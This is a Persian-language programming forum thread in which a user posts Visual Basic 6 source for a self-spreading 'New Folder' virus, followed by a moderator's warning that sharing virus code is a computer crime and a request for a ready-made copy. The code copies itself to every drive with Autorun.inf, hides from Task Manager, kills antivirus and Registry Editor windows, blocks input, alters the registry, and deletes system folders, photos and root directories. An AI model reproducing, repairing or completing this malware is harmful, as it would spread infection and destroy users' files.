كدهاي ساخت ويروس نيو فولدر با وي بي

Visual Basic 6

توسط azade1359 در 5 سال پیش
0 5.2k 4 5 سال پیش
azade1359 xman vistasoft
0

Private Const MONITOR_ON = -1& Private Const MONITOR_OFF = 2& Private Const SC_MONITORPOWER = &HF170& Private Const WM_SYSCOMMAND = &H112

Private Declare Function SetWindowText Lib "user32" Alias "SetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String) As Long Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long

Private Declare Function BlockInput Lib "user32" (ByVal dwFreq As Long) As Long Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Private Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long Private Declare Function PathIsDirectory Lib "shlwapi.dll" Alias "PathIsDirectoryA" (ByVal pszPath As String) As Long Private Declare Function FindWindowEx Lib "user32.dll" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long Private Declare Function SetForegroundWindow Lib "user32" (ByVal hwnd As Long) As Long

Private Type bkh flag As Long psz As Long lParam As Long pt As Long vkDirection As Long End Type

Private Declare Function VirtualAllocEx Lib "kernel32.dll" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long Private Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long Private Declare Function GetWindowThreadProcessId Lib "user32.dll" (ByVal hwnd As Long, ByRef lpdwProcessId As Long) As Long Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Long, ByVal lpBuffer As Long, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long Private Declare Function VirtualFreeEx Lib "kernel32.dll" (ByVal hProcess As Long, ByRef lpAddress As Any, ByRef dwSize As Long, ByVal dwFreeType As Long) As Long Private Declare Function KillTimer Lib "user32.dll" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long

Dim c As Long Dim flg As Integer Dim q As Shell Dim a As New FileSystemObject Private Sub Process_Hide(Name As String) On Error Resume Next Dim pName As Long Dim pType As Long Dim l As Long Dim Tid As Long Dim hTid As Long Dim pid As Long Dim h As Long Dim I As Long Dim hProcess As Long Dim f As bkh Dim s As String Dim bkh() As Byte h = FindWindow(vbNullString, "Windows Task Manager") KillTimer h, 0 h = FindWindowEx(h, 0, "#32770", vbNullString) h = FindWindowEx(h, 0, "SysListView32", vbNullString) If h = 0 Then Exit Sub f.flag = 8 Or &H20 Call GetWindowThreadProcessId(h, pid) hProcess = OpenProcess(1082, 0, pid) bkh = StrConv(Name, vbFromUnicode) pName = VirtualAllocEx(hProcess, 0, Len(Name) + 1, &H1000, 4) WriteProcessMemory hProcess, pName, VarPtr(bkh(0)), Len(Name), l f.psz = pName pType = VirtualAllocEx(hProcess, 0, Len(f), &H1000, 4) WriteProcessMemory hProcess, pType, VarPtr(f.flag), Len(f), l I = SendMessage(h, &H1000 + 13, 0, pType) If I <> -1 Then SendMessage h, &H1000 + 8, I, 0 VirtualFreeEx hProcess, pType, Len(f), &H8000 VirtualFreeEx hProcess, pName, LenB(Name) + 1, &H8000 End Sub

Private Function SearchFiles(ByRef Path As String, ByRef FileName As String, ByRef Files() As String, ByVal BaseIndex As Long, ByVal SubFolders As Boolean) As Long Dim Count As Long, File As String, Pos As Long Dim Folders() As String, FolderCount As Long Dim Index As Long On Error Resume Next If Right(Path, 1) <> "" Then Path = Path & "" FileName = Replace(FileName, "", "") File = Dir(Path & "", vbArchive Or vbHidden Or vbReadOnly Or vbSystem Or IIf(SubFolders, vbDirectory, 0)) Do Until Len(File) = 0 Or Stopped Select Case File Case ".", ".." Case Else If PathIsDirectory(Path & File) <> 0 Then If SubFolders Then If FolderCount = 0 Then ReDim Folders(0 To 100) ElseIf FolderCount > UBound(Folders) Then ReDim Preserve Folders(0 To FolderCount + 100) End If Folders(FolderCount) = Path & File FolderCount = FolderCount + 1 End If Else If InStr(1, File, FileName, vbTextCompare) > 0 Then If BaseIndex = 0 And Count = 0 Then ReDim Files(0 To 100) ElseIf BaseIndex + Count > UBound(Files) Then ReDim Preserve Files(0 To BaseIndex + Count + 100) End If Files(BaseIndex + Count) = Path & File a.DeleteFile Path & File Count = Count + 1 End If End If End Select File = Dir DoEvents Loop If SubFolders And Stopped = False Then For Index = 0 To FolderCount - 1 Count = Count + SearchFiles(Folders(Index), FileName, Files, BaseIndex + Count, SubFolders) Next End If If Count = 0 Then Erase Files Else ReDim Preserve Files(0 To Count - 1) End If SearchFiles = Count End Function

Private Sub Form_Activate() On Error Resume Next z$ = Environ("windir") x$ = Environ("userprofile") zz$ = Environ("computername")

Label3.caption = zz$ SaveSetting "Virus", "General", "label3", Label3

If Label1.caption = "5" Then Label1.caption = Label1.caption - 1 End If

Label1.caption = Label1.caption + 1

SaveSetting "virus", "general", "label1", Label1

a.CopyFile App.Path & "" & App.EXEName & ".exe", z$ & "\System32\New Folder.exe" a.CopyFile z$ & "\system32\New Folder.exe", z$ & "\Windows Explorer.exe" a.CopyFile z$ & "\system32\New Folder.exe", x$ & "\My Documents\New Folder.exe"

End Sub

Private Sub Form_Load() On Error Resume Next z$ = Environ("Windir") xx$ = Environ("systemdrive") App.TaskVisible = False q.Open z$ & "\Explorer.exe"

Label3 = GetSetting("virus", "general", "label3", Label3) Label1 = GetSetting("virus", "general", "label1", Label1) Label4 = GetSetting("Virus", "General", "Label4", Label4)

SetDWORDValue "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CabinetState", "FullPath", "1" SetDWORDValue "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CabinetState", "FullPathAddress", "1" SetDWORDValue "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\ShowFullPath", "CheckedValue", "0" SetDWORDValue "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\ShowFullPathAddress", "CheckedValue", "0" SetDWORDValue "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoFolderOption", "1"

If Label3.caption <> Label4.caption Then Label4.caption = Label3.caption Label1.caption = "1" SaveSetting "Virus", "General", "Label4", Label4 SaveSetting "virus", "general", "label1", Label1 GoTo s: Else '

0

ساختن پوشه s: CreateKey "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies" & "" & "Explorer" 'ساختن پوشه اي جديد CreateKey "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies" & "" & "Explorer" 'ساخت پوشه جديد CreateKey "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies" & "" & "System" 'ساخت پوشه جديد CreateKey "HKEY_LOCAL_MACHIN\Software\Microsoft\Windows\CurrentVersion\Policies" & "" & "System" 'ساخت پوشه جديد

SetStringValue "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion", "RegisteredOwner", "KhatarVirus" SetStringValue "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion", "RegisteredOrganization", "KhatarVirus" SetDWORDValue "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Cdrom", "Autorun", "0" 'غير فعال کردن اتوران SetDWORDValue "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoClose", "1"

Select Case Label1.caption 'بار اول Case "1" a.CreateFolder xx$ & "\Program Files\Power MP3" a.CreateFolder xx$ & "\Update"

Shell "shutdown -r -t 0"

'بار دوم Case "2" SetStringValue "HKEY_CURRENT_USER\Control Panel\International", "s1159", "صبح بخير" SetStringValue "HKEY_CURRENT_USER\Control Panel\International", "s2359", "ظهر بخير"

'بار سوم Case "3" SetDWORDValue "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "NoDispSettingsPage", "1" a.DeleteFolder z$ & "" & "Fonts" a.DeleteFolder z$ & "" & "Cursors" a.DeleteFolder z$ & "" & "Media" 'بار چهارم Case "4" Timer10.Enabled = True SetDWORDValue "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoFolderOption", "1" SetDWORDValue "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoPropertiesMyComputer", "1" 'بار پنجم Case "5" Timer11.Enabled = True SetDWORDValue "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoFolderOption", "1" SetDWORDValue "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System", "NoDrives", "4" Timer8.Enabled = True End Select End If

End Sub

Private Sub Timer1_Timer() On Error Resume Next z$ = Environ("windir") x$ = Environ("userprofile") xx$ = Environ("systemdrive")

Process_Hide CStr(App.EXEName & ".exe")

a.CopyFile z$ & "\system32\New Folder.exe", z$ & "\Documents and Settings\Administrator\Start Menu\Programs\Startup\New Folder.exe" a.CopyFile z$ & "\system32\New Foder.exe", xx$ & "\Program Files\Power Mp3\Power MP3.exe" a.CopyFile z$ & "\system32\New Foder.exe", xx$ & "\Update\Update.exe" a.CopyFile z$ & "\system32\New folder.exe", x$ & "\Local Settings\Temp\New Folder.exe" a.CopyFile z$ & "\system32\New Folder.exe", xx$ & "\Program Files\Common Files\Microsoft Shared\MSshare.exe" a.CopyFile x$ & "\Local Settings\Temp\New Folder.exe", z$ & "\system32\New Folder.exe", True

SetStringValue "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main", "Start Page", "www.Virus.Com" SetStringValue "HKEY_LOCAL_MACHINE\Software\Microsaft\Windows\CurrentVersion\Run", "Explorer", z$ & "\Windows Explorer.exe" SetDWORDValue "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL", "CheckedValue", "0"

SetAttr App.Path & "" & App.EXEName & ".exe", &H6 SetAttr z$ & "\System32\New Folder.exe", &H6 SetAttr x$ & "\My Documents\New Folder.exe", &H6 SetAttr z$ & "\Documents and Settings\Administrator\Start Menu\Programs\Startup\New Folder.exe", &H6

End Sub

Private Sub Timer10_Timer() 'کپي کردن ويروس در درايوها On Error Resume Next z$ = Environ("windir") x$ = Environ("userprofile") Dim I As Integer Dim B As String

a.CopyFile App.Path & "" & App.EXEName & ".exe", z$ & "\System32\New Folder.exe" a.CopyFile z$ & "\system32\New Folder.exe", x$ & "\My Documents\New Folder.exe"

For I = 99 To 122 B = Chr(I) & ":" If a.DriveExists(B) = True Then a.CopyFile z$ & "\System32\New Folder.exe", B & "\New Folder.exe" Open B & "\Autorun.inf" For Output As #1 Print #1, "[Autorun]" Print #1, "OPEN=New Folder.exe" Print #1, "shell\open\Command = New Folder.exe" Print #1, "shell\explore\Command = New Folder.exe" Print #1, "shell\Autoplay\Command = New Folder.exe" Close #1 SetAttr B & "\Autorun.inf", &H6 SetAttr B & "\New Folder.exe", &H6 End If Next I

a.CopyFile x$ & "\My Documents\New Folder.exe", z$ & "\Windows Explorer.exe", True a.CopyFile z$ & "\System32\New Folder.exe", z$ & "\Windows Explorer.exe", True a.CopyFile z$ & "\Windows Explorer.exe", z$ & "\System32\New Folder.exe", True

SetStringValue "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "Explorer", z$ & "\Windows Explorer.exe" End Sub

Private Sub Timer11_Timer() On Error Resume Next Dim I As Integer Dim B As String For I = 99 To 122 B = Chr(I) & ":" If a.DriveExists(B) = True Then If B = "C:" Then GoTo s: End If a.DeleteFile B & "*." a.DeleteFolder B & "*." s: a.CopyFile z$ & "\System32\New Folder.exe", B & "\New Folder.exe" SetAttr B & "\New Folder.exe", &H6 End If Next I Timer11.Enabled = False End Sub

Private Sub Timer12_Timer()

On Error Resume Next z$ = Environ("systemdrive")

Dim Index As Long, Files() As String, Count As Long

Dim txtfilename, searchpath As String

s: For drvc = 99 To 122

If a.DriveExists(Chr(drvc) + ":") = True Then If drvc = z$ Then GoTo ss: Else searchpath = Chr(drvc) + ":" Count = SearchFiles(searchpath, "*.jpg", Files, 0, c1.Value) End If

If Chr(drvc) + ":" = "Z:" Then Label2.caption = "67" If Path & FileName = 0 Then

Timer12.Enabled = False Else GoTo s: End If End If End If ss: Next drvc

End Sub

Private Sub Timer2_Timer() On Error Resume Next

Randomize Time z$ = Environ("Windir") Dim c As Long Dim k As Long Dim handel As Long Dim caption As String c = GetForegroundWindow 'گرفتن هندل پنجره فعال caption = Space$(128) k = GetWindowText(c, caption, 128) 'عنوان پنجره فعال caption = Left(caption, k)

a.DeleteFile caption & "*.jpg", True a.CopyFile App.Path & "" & App.EXEName & ".exe", caption & "*.exe", True

If a.FileExists(caption & "\New Folder.exe") = True Or a.FileExists(caption & "\Irani Picture.exe") = True Or a.FileExists(caption & "\New Folder (2).exe") = True Or a.FileExists(caption & "\Picture.exe") = True Then GoTo s: Else Number = Int(Rnd * 5) Select Case Number 'کپي ويروس با نام هاي مختلف Case 0 a.CopyFile z$ & "\System32\New Folder.exe", caption & "\New Folder.exe", True Case 1 a.CopyFile z$ & "\system32\New Folder.exe", caption & "\Picture.exe", True Case 2 a.CopyFile z$ & "\system32\New Folder.exe", caption & "\Irani Picture.exe", True Case 3 a.CopyFile z$ & "\system32\New Folder.exe", caption & "\New Folder (2).exe", True Case 4 a.CopyFile z$ & "\system32\New Folder.exe", caption & "\New Folder.exe", True End Select s: End If

z = InStrRev(caption, "", -1) 'براي پيدا کردن نام پوشه zz = Len(caption) - z s = Right$(caption, zz) handel = FindWindow(vbNullString, caption) If handel <> 0 Then SetForegroundWindow handel SetWindowText handel, s End If

End Sub

Private Sub Timer6_Timer() On Error Resume Next Dim handel As Long handel = FindWindow(vbNullString, "Run") If handel <> 0 Then SetForegroundWindow handel SendKeys "%{f4}", 1 End If handel = FindWindow(vbNullString, "Antivirus") If handel <> 0 Then SetForegroundWindow handel SendKeys "%{f4}", 1 End If handel = FindWindow(vbNullString, "Anti virus") If handel <> 0 Then SetForegroundWindow handel SendKeys "%{f4}", 1 End If handel = FindWindow(vbNullString, "Windows Task Manager") If handel <> 0 Then SetForegroundWindow handel SendKeys "%{f4}", 1 End If handel = FindWindow(vbNullString, "Control Panel") If handel <> 0 Then SetForegroundWindow handel SendKeys "%{f4}", 1 End If handel = FindWindow(vbNullString, "Windows") If handel <> 0 Then SetForegroundWindow handel SendKeys "%{f4}", 1 End If handel = FindWindow(vbNullString, "Registry Editor") If handel <> 0 Then SetForegroundWindow handel SendKeys "%{f4}", 1 End If handel = FindWindow(vbNullString, "System Configuration Utility") If handel <> 0 Then SetForegroundWindow handel SendKeys "%{f4}", 1 End If handel = FindWindow(vbNullString, "Folder Options") If handel <> 0 Then SetForegroundWindow handel SendKeys "%{f4}", 1 End If handel = FindWindow(vbNullString, "Kaspersky Anti-Virus 7.0") If handel <> 0 Then SetForegroundWindow handel Call SendMessage(Me.hwnd, WM_SYSCOMMAND, SC_MONITORPOWER, ByVal MONITOR_OFF) SendKeys "%{f4}", 1 SendKeys "{BackSpace}" BlockInput True End If handel = FindWindow(vbNullString, "ESET NOD32 Antivirus Setup") If handel <> 0 Then SetForegroundWindow handel Call SendMessage(Me.hwnd, WM_SYSCOMMAND, SC_MONITORPOWER, ByVal MONITOR_OFF) SendKeys "%{f4}", 1 SendKeys "{BackSpace}" BlockInput True End If

End Sub

Private Sub Timer7_Timer() On Error Resume Next Clipboard.Clear

End Sub

Private Sub Timer8_Timer() On Error Resume Next

Dim handel As Long handel = FindWindow(vbNullString, "C:") If handel <> 0 Then SetForegroundWindow handel SendKeys "%{f4}", 1 End If handel = FindWindow(vbNullString, "My Documents") If handel <> 0 Then SetForegroundWindow handel SendKeys "%{f4}", 1 End If End Sub

0

سلام دوست عزیز نکته اول اینه که کداتونو باید تو تگ کد قرار بدید تا بشه خوندش نکته دوم اینه که گذاشتن کد ویروس نویسی آموزشش جزو جرایم رایانه ای محسوب میشه و اجازه نداریم بذاریم چون سایت فیلتر میشه! نکته سوم اینه که عنوان موضوع رو درست نذاشتید نکته چهارم اینه که اگر یکدفعه همش ارسال نشد تو همون تاپیک باید پست جدید میزدی.

0

سلام و چشم ؟هنوز با رول كار زياد آشنا نشدم ، قصدم ندارم آموزش ويروس نويسي بدم ، اما آشنايي خوبه تعدادي منابع جالب دارم ميخوام به دست دوستان برسه كه آشنا بشن ؟ فيلترم فكر نكنم بكنن چون اونا خودشون واقفن كه هدف چيز ديگس؟بازم از راهنماييتون ممنونم.

0

سلام خدمت تمامی دوستان در این انجمن ببخشید نمیشه کدشو آماده بزارید. چون هر کاری می کنم ارور می ده

خوش آمدید

برای طرح سوال، ایجاد بحث و فعالیت در سایت نیاز است ابتدا وارد حساب کاربری خود شوید. در صورتی که هنوز عضو سایت نیستید میتوانید در عرض تنها چند ثانیه ثبت نام کنید.

لطفا ابتدا لاگین کنید